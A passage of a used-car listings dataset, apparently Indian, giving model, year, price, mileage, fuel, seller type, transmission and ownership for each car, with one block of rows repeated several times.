BSII,2002,60000,80000,Petrol,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 EX,2018,900000,24000,Diesel,Individual,Manual,First Owner +Ford Aspire Titanium Diesel BSIV,2017,700000,21170,Diesel,Dealer,Manual,First Owner +BMW 3 Series 320d Sport,2013,2000000,167223,Diesel,Dealer,Automatic,First Owner +Maruti Ertiga SHVS ZDI Plus,2017,1000000,40000,Diesel,Individual,Manual,First Owner +BMW X1 sDrive 20d Exclusive,2011,1375000,60000,Diesel,Individual,Automatic,First Owner +Toyota Innova Crysta 2.4 VX MT,2016,1800000,141440,Diesel,Dealer,Manual,First Owner +Chevrolet Tavera Neo 3 10 Seats BSIV,2007,160000,120000,Diesel,Individual,Manual,Third Owner +Mitsubishi Outlander 2.4,2012,525000,140000,Petrol,Individual,Automatic,First Owner +Mahindra XUV500 W8 2WD,2012,850000,212814,Diesel,Dealer,Manual,First Owner +Maruti Baleno Alpha 1.3,2019,800000,30000,Diesel,Individual,Manual,First Owner +Ford Figo Aspire 1.5 TDCi Titanium,2017,700000,88635,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2018,800000,25000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Spotz,2017,575000,20000,Petrol,Individual,Manual,Second Owner +Renault Duster 110PS Diesel RxZ,2012,350000,110000,Diesel,Individual,Manual,Second Owner +Maruti Swift Vdi BSIII,2008,250000,120000,Diesel,Individual,Manual,Third Owner +Ford Endeavour Titanium 4X2,2011,600000,149674,Diesel,Dealer,Manual,Second Owner +Mahindra Scorpio 2.6 Turbo 9 Str,2007,370000,100000,Diesel,Individual,Manual,Third Owner +Maruti Baleno Vxi,2006,80000,120000,Petrol,Individual,Manual,Third Owner +Tata Indica DLX,2003,50000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 EX,2018,900000,25000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2014,300000,35000,Petrol,Individual,Manual,Second Owner +Tata Indica LSI,2002,125000,40000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2015,490000,60000,Diesel,Individual,Manual,Second Owner +Toyota Etios Liva GD,2012,300000,50000,Diesel,Individual,Manual,Second Owner +Tata Nano STD,2013,55000,25000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai Grand i10 Sportz,2016,350000,25000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Asta,2019,755000,8000,Diesel,Individual,Manual,First Owner +Maruti Ertiga SHVS VDI,2017,720000,60000,Diesel,Individual,Manual,First Owner +Mahindra Bolero SLX,2006,229999,200000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio S7 140 BSIV,2018,1100000,20000,Diesel,Individual,Manual,First Owner +Volkswagen Polo Petrol Comfortline 1.2L,2013,400000,100000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi Base,2015,350000,70000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat Diesel PS,2012,159000,68000,Diesel,Dealer,Manual,First Owner +Maruti Swift ZXi BSIV,2017,550000,38000,Petrol,Dealer,Manual,First Owner +Maruti Ritz VDi,2013,335000,80000,Diesel,Dealer,Manual,First Owner +Tata Indigo CS Emax CNG GLX,2014,185000,72000,CNG,Dealer,Manual,First Owner +Maruti Eeco 5 STR With AC Plus HTR CNG,2012,229999,75000,CNG,Dealer,Manual,First Owner +Maruti Estilo LXI,2014,225000,43000,Petrol,Dealer,Manual,First Owner +Maruti Swift VXI with ABS,2007,250000,120000,Petrol,Individual,Manual,Second Owner +Tata Zest Quadrajet 1.3 XM,2015,400000,100000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2014,470000,163000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 VXI AGS Optional,2018,300000,25000,Petrol,Individual,Automatic,First Owner +Maruti Alto LX,2011,145000,25000,Petrol,Individual,Manual,First Owner +Maruti SX4 Vxi BSIII,2007,100000,90000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio SLE BSIV,2014,500000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing GLS CNG,2010,130000,98000,CNG,Individual,Manual,Second Owner +Chevrolet Cruze LTZ,2010,240000,81925,Diesel,Individual,Manual,First Owner +Ford Figo Diesel Celebration Edition,2013,150000,80000,Diesel,Individual,Manual,Second Owner +Renault KWID RXT Optional,2017,270000,40000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,400000,90000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2012,200000,46000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2012,550000,80000,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,325000,35000,Petrol,Individual,Manual,First Owner +Skoda Rapid 1.5 TDI AT Style BSIV,2017,860000,82080,Diesel,Individual,Automatic,First Owner +Mahindra XUV500 W8 2WD,2012,600000,200000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0,2009,125000,70000,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2000,60000,40000,Petrol,Individual,Manual,Third Owner +Chevrolet Tavera Neo 3 10 Seats BSIV,2010,300000,120000,Diesel,Individual,Manual,Third Owner +Ford Fiesta 1.6 ZXi Duratec,2007,190000,60000,Petrol,Individual,Manual,Third Owner +Maruti Ertiga VDI,2013,400000,110000,Diesel,Individual,Manual,First Owner +Tata Manza Aura Quadrajet BS IV,2011,260000,97000,Diesel,Individual,Manual,Second Owner +Maruti Swift VVT VXI,2017,400000,30000,Petrol,Individual,Manual,First Owner +Hyundai i20 Sportz Petrol,2010,250000,40000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2019,600000,10000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo VXI BSIV,2010,175000,52047,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2011,450000,200000,Diesel,Individual,Manual,Third Owner +Tata Tiago 1.2 Revotron XZA,2019,350000,15000,Petrol,Individual,Automatic,Second Owner +Maruti Vitara Brezza ZDi,2018,800000,50000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI BSIII,2011,250000,70000,Petrol,Individual,Manual,Second Owner +Maruti Swift VXI BSIV,2019,600000,10000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2017,600000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2016,130000,40000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI,2006,90000,62009,Petrol,Individual,Manual,Second Owner +Hyundai i20 Active 1.2 S,2017,595000,33100,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus,2014,190000,40000,Petrol,Individual,Manual,Second Owner +Hyundai Santro GLS I - Euro I,1999,50000,120000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2007,95000,80000,Petrol,Individual,Manual,First Owner +Tata Safari Storme VX,2016,1000000,70000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio REV 116,2006,220000,220000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero SLX,2010,400000,50000,Diesel,Individual,Manual,First Owner +Datsun GO Plus A,2015,315000,45000,Petrol,Individual,Manual,Second Owner +Toyota Fortuner 4x4 MT,2014,1000000,110000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,500000,49000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W11 AT BSIV,2018,1600000,35000,Diesel,Individual,Automatic,First Owner +Mahindra Supro VX 8 Str,2017,500000,160000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2007,70000,180000,Petrol,Individual,Manual,Third Owner +Maruti 800 AC,2007,105000,60000,Petrol,Individual,Manual,Second Owner +Ford Endeavour 2.5L 4X2 MT,2008,400000,110000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R LXI,2004,80000,60000,Petrol,Individual,Manual,Third Owner +Maruti Alto 800 VXI,2016,300000,30000,Petrol,Individual,Manual,First Owner +Mahindra KUV 100 D75 K2,2017,409999,40000,Diesel,Individual,Manual,First Owner +Maruti Swift Glam,2009,250000,70000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2010,250000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2012,215000,80000,Diesel,Individual,Manual,Third Owner +Toyota Fortuner 4x4 MT,2015,1400000,120000,Diesel,Individual,Manual,First Owner +Honda Brio 1.2 VX MT,2018,475000,20000,Petrol,Individual,Manual,First Owner +Honda Brio 1.2 VX MT,2018,475000,22000,Petrol,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2008,75000,35000,Petrol,Individual,Manual,Second Owner +Chevrolet Sail Hatchback LS ABS,2013,200000,120000,Diesel,Individual,Manual,Second Owner +Tata Tiago NRG Petrol,2019,575000,8000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2011,150000,40000,Diesel,Individual,Manual,Second Owner +Maruti Vitara Brezza ZDi Plus,2018,850000,10000,Diesel,Individual,Manual,First Owner +Hyundai Santro Era,2019,350000,30000,Petrol,Individual,Manual,First Owner +Ford Endeavour 2.5L 4X2 MT,2011,550000,54000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.4 VTVT,2017,330000,80577,Petrol,Individual,Manual,First Owner +Honda City i-DTEC V,2017,1044999,25000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 CRDI,2011,300000,127500,Diesel,Individual,Manual,Second Owner +Hyundai EON D Lite Plus,2015,235000,40903,Petrol,Dealer,Manual,First Owner +Ford Figo Petrol Titanium,2011,120000,60000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R VXI,2004,130000,46000,Petrol,Individual,Manual,First Owner +Ford Endeavour 4x4 XLT,2004,275000,22288,Diesel,Dealer,Manual,Second Owner +Volkswagen Jetta 2.0 TDI Trendline,2011,270000,180000,Diesel,Individual,Manual,Second Owner +Volkswagen Polo 1.5 TDI Highline,2015,500000,30000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 Sportz,2015,400000,61690,Petrol,Dealer,Manual,First Owner +Hyundai i20 Asta 1.2,2015,600000,64484,Petrol,Dealer,Manual,First Owner +Audi Q5 2.0 TDI,2012,1350000,90000,Diesel,Individual,Automatic,Second Owner +Renault Duster 85PS Diesel RxE,2013,400000,75976,Diesel,Dealer,Manual,Second Owner +Ford Figo Diesel Titanium,2011,220000,70000,Diesel,Individual,Manual,Second Owner +Honda Brio E MT,2012,300000,85962,Petrol,Dealer,Manual,Second Owner +Maruti Omni E MPI STD BS IV,2018,250000,120000,Petrol,Individual,Manual,First Owner +Honda Mobilio V i DTEC,2015,600000,120000,Diesel,Individual,Manual,First Owner +Honda Brio S Option AT,2012,285000,75000,Petrol,Individual,Automatic,Second Owner +Honda Accord 2.4 MT,2009,350000,57035,Petrol,Dealer,Manual,First Owner +Mahindra Bolero SLX,2011,170000,70000,Diesel,Individual,Manual,Third Owner +Ford Figo 1.2P Ambiente MT,2015,229999,45000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2013,500000,72104,Diesel,Dealer,Manual,Second Owner +Tata Nano Lx,2011,75000,15000,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.2 SX,2016,600000,30000,Petrol,Individual,Manual,First Owner +Tata Indigo LS Dicor,2011,220000,80000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Terra 1.4 TDI,2009,150000,164000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX,2006,65000,124439,Petrol,Individual,Manual,Second Owner +Maruti Zen VXI,2006,120000,77000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2014,240000,90000,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2017,390000,30000,Petrol,Individual,Manual,First Owner +Chevrolet Beat LS,2012,180000,50000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2012,320000,80000,Diesel,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2018,310000,5000,Petrol,Individual,Manual,First Owner +Maruti Wagon R AMT VXI,2018,420000,24000,Petrol,Individual,Automatic,First Owner +Tata Tiago NRG Petrol,2019,550000,10000,Petrol,Individual,Manual,First Owner +Maruti Ertiga SHVS VDI,2016,550000,78000,Diesel,Individual,Manual,Third Owner +Mahindra TUV 300 T4 Plus,2018,760000,50000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSII,2001,43000,100000,Petrol,Individual,Manual,Second Owner +Maruti Omni MPI STD BSIV,2018,250000,20000,Petrol,Individual,Manual,First Owner +Hyundai Santro Magna BSIV,2019,500000,1250,Petrol,Individual,Manual,First Owner +Tata Zest Revotron 1.2 XT,2015,380000,17152,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W11 Option AT AWD,2019,1850000,5000,Diesel,Individual,Automatic,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2012,350000,77000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi,2008,195000,90000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat LS,2011,225000,80000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2015,1125000,65000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2011,133000,80000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,200000,24005,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus,2018,940000,20000,Diesel,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL,2014,400000,120000,Diesel,Individual,Manual,First Owner +Hyundai i10 Era 1.1,2009,120000,120000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire ZDI,2015,625000,80000,Diesel,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2005,110000,80000,Petrol,Individual,Manual,First Owner +Renault Duster 110PS Diesel RxZ,2012,490000,100000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2009,140000,120000,Petrol,Individual,Manual,Second Owner +Ford Figo Diesel ZXI,2011,175000,149000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LXI BSIII,2005,90000,65000,Petrol,Individual,Manual,Second Owner +Maruti Swift Ldi BSIV,2009,275000,100000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento Diesel Highline,2011,300000,65000,Diesel,Individual,Manual,Second Owner +Datsun GO Plus T Option BSIV,2018,270000,19000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat LT,2010,130000,80000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 VXI Airbag,2015,275000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2012,352000,109000,Diesel,Individual,Manual,First Owner +Hyundai EON LPG Magna Plus,2012,180000,90000,LPG,Individual,Manual,First Owner +Maruti Alto LX,2012,150000,90000,Petrol,Individual,Manual,First Owner +Volkswagen Vento Diesel Highline,2011,300000,65000,Diesel,Individual,Manual,Second Owner +Maruti Swift Vdi BSIII,2010,300000,110000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero DI DX 7 Seater,2007,225000,120000,Diesel,Individual,Manual,First Owner +Honda Mobilio V i DTEC,2014,600000,44000,Diesel,Individual,Manual,First Owner +Maruti Ertiga BSIV ZXI,2015,500000,80000,Petrol,Individual,Manual,First Owner +Honda BR-V i-VTEC S MT,2018,900000,5000,Petrol,Individual,Manual,First Owner +Hyundai i20 Magna 1.2,2016,600000,61000,Petrol,Individual,Manual,First Owner +Toyota Etios VD,2011,450000,100000,Diesel,Individual,Manual,Second Owner +Hyundai i10 Era 1.1,2009,270000,27633,Petrol,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2010,310000,100000,Diesel,Individual,Manual,Third Owner +Hyundai Santro Xing GLS Audio LPG,2012,250000,100000,LPG,Individual,Manual,First Owner +Ford Figo 1.2P Titanium MT,2019,700000,12586,Petrol,Dealer,Manual,First Owner +Fiat Avventura Urban Cross 1.3 Multijet Emotion,2018,650000,38083,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel ZXI,2012,400000,55328,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel Titanium,2012,425000,81632,Diesel,Dealer,Manual,First Owner +Ford Aspire Titanium Diesel BSIV,2016,600000,155201,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2013,600000,93283,Diesel,Dealer,Manual,First Owner +Maruti Swift Ldi BSIII,2009,300000,217871,Diesel,Dealer,Manual,First Owner +Ford Fiesta Classic 1.4 Duratorq CLXI,2012,450000,90165,Diesel,Dealer,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,750000,101504,Diesel,Dealer,Manual,First Owner +Ford Figo Titanium Diesel BSIV,2010,325000,86017,Diesel,Dealer,Manual,Second Owner +Mahindra XUV500 W8 2WD,2013,900000,85036,Diesel,Dealer,Manual,Second Owner +Ford Ikon 1.3L Rocam Flair,2006,180000,91086,Petrol,Dealer,Manual,Second Owner +Fiat Punto 1.3 Emotion,2013,350000,160254,Diesel,Dealer,Manual,Second Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2013,600000,125531,Diesel,Dealer,Manual,Second Owner +Honda WR-V i-DTEC V,2019,900000,60000,Diesel,Individual,Manual,First Owner +Skoda Laura L n K 1.9 PD,2006,350000,100000,Diesel,Individual,Manual,First Owner +Maruti Ritz LDi,2013,280000,90000,Diesel,Individual,Manual,Third Owner +Mahindra Xylo D2,2009,225000,120000,Diesel,Individual,Manual,Second Owner +Honda City i DTEC S,2014,520000,82000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S4,2016,509999,60000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2019,556000,24000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Dicor,2014,225000,120000,Diesel,Individual,Manual,First Owner +Honda Amaze EX i-Dtech,2013,325000,65000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2013,365000,65000,Diesel,Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Plus,2015,850000,84000,Diesel,Dealer,Manual,First Owner +Toyota Etios GD SP,2013,350000,75000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2007,225000,50000,Diesel,Dealer,Manual,First Owner +Maruti Alto LX,2011,135000,50000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,140000,49000,Petrol,Dealer,Manual,First Owner +Maruti SX4 S Cross DDiS 320 Delta,2016,665000,560000,Diesel,Dealer,Manual,First Owner +Renault KWID RXT,2015,275000,14365,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 2.8 4WD AT BSIV,2017,2750000,41000,Diesel,Individual,Automatic,First Owner +Hyundai Verna 1.6 SX,2013,484999,65000,Diesel,Dealer,Manual,First Owner +Maruti Ciaz VDi Option SHVS,2015,565000,65000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2013,425000,61083,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2013,925000,75000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD AIRBAG SE BSIV,2012,565000,72000,Diesel,Dealer,Manual,First Owner +Renault Duster 110PS Diesel RxL,2014,525000,65000,Diesel,Dealer,Manual,First Owner +Hyundai Tucson 2.0 e-VGT 2WD MT,2017,1650000,55000,Diesel,Dealer,Manual,First Owner +Hyundai EON Era Plus,2015,295000,21000,Petrol,Dealer,Manual,Second Owner +Jaguar XF 5.0 Litre V8 Petrol,2012,2050000,66363,Petrol,Dealer,Automatic,Second Owner +Hyundai Creta 1.6 VTVT AT SX Plus,2018,1475000,11700,Petrol,Dealer,Automatic,First Owner +Hyundai Verna VTVT 1.6 AT SX Option,2017,1100000,10000,Petrol,Individual,Automatic,First Owner +Mercedes-Benz GL-Class 350 CDI Blue Efficiency,2014,4400000,100000,Diesel,Individual,Automatic,Second Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Volkswagen Polo GTI,2017,850000,20000,Petrol,Dealer,Automatic,Second Owner +Renault Pulse RxL,2015,390000,61585,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Celerio VXI AMT BSIV,2016,450000,39415,Petrol,Trustmark Dealer,Automatic,Second Owner +Honda Brio V MT,2014,425000,29654,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,770000,64672,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai Creta 1.6 SX Automatic Diesel,2015,1150000,54634,Diesel,Trustmark Dealer,Automatic,Second Owner +Honda City i VTEC V,2015,775000,66521,Petrol,Trustmark Dealer,Manual,First Owner +Toyota Innova Crysta 2.4 GX AT,2018,1725000,23974,Diesel,Dealer,Automatic,Second Owner +BMW 3 Series 320d Luxury Line,2016,2150000,43000,Diesel,Dealer,Automatic,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i20 Sportz 1.2,2013,350000,50000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2014,114999,30000,Petrol,Individual,Manual,First Owner +Hyundai i20 Sportz 1.2,2013,380000,50000,Petrol,Individual,Manual,Second Owner +Maruti Gypsy E MG410W ST,1995,95000,100000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 1.99 S6 Plus,2016,900000,35000,Diesel,Individual,Manual,First Owner +Chevrolet Beat LT,2012,200999,90000,Petrol,Individual,Manual,Second Owner +Maruti Omni E MPI STD BS IV,2014,229999,11451,Petrol,Individual,Manual,First Owner +Tata Nexon 1.5 Revotorq XZ,2019,800000,60000,Diesel,Individual,Manual,First Owner +Mahindra Verito 1.5 D4 BSIV,2012,150000,172000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI,2018,600000,60000,Diesel,Individual,Manual,First Owner +Chevrolet Tavera LS B3 7 Seats BSII,2005,150000,150000,Diesel,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LS,2009,150000,66000,Diesel,Individual,Manual,First Owner +Maruti Eeco 5 Seater Standard BSIV,2019,380000,5000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2006,80000,66508,Petrol,Individual,Manual,Second Owner +Honda Civic 1.8 MT Sport,2007,225000,55000,Petrol,Individual,Manual,Second Owner +Tata Nano Lx 